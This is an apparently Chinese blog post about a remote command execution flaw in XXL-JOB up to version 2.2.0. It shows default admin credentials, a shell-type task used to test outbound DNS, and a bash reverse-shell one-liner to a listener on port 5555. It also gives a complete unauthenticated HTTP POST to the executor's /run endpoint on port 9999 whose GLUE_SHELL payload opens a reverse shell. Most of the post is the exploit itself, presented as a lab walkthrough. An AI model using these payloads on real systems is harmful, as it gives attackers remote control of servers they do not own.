XXL-Job任务调度中心后台RCE
漏洞详情
XXL-JOB是一个轻量级分布式任务调度平台。默认情况下XXL-JOB的Restful API接口或RPC接口没有配置认证措施,未授权的攻击者可构造恶意请求,造成远程执行命令,直接控制服务器。
漏洞影响
XXL-JOB <= 2.2.0
漏洞利用
首先我们在Linux中搭建好靶场

输入密码admin/123456

找到任务管理新建一个任务

运行模式选择shell,使用在线的dnslog网站,判断出不出网。


执行命令后刷新在线的Dnslog网站发现命令执行成功。

接着我们就进行反弹shell:
/bin/bash -i >& /dev/tcp/监控ip/5555 0>&1

反弹成功!
executor未授权访问漏洞
访问9999端口用bp抓包利用以下数据包发送并在本地监听。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24POST /run HTTP/1.1 Host: ip:9999 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 394 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "/bin/bash -i >& /dev/tcp/192.168.30.1/5555 0>&1", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }


399

被折叠的 条评论
为什么被折叠?



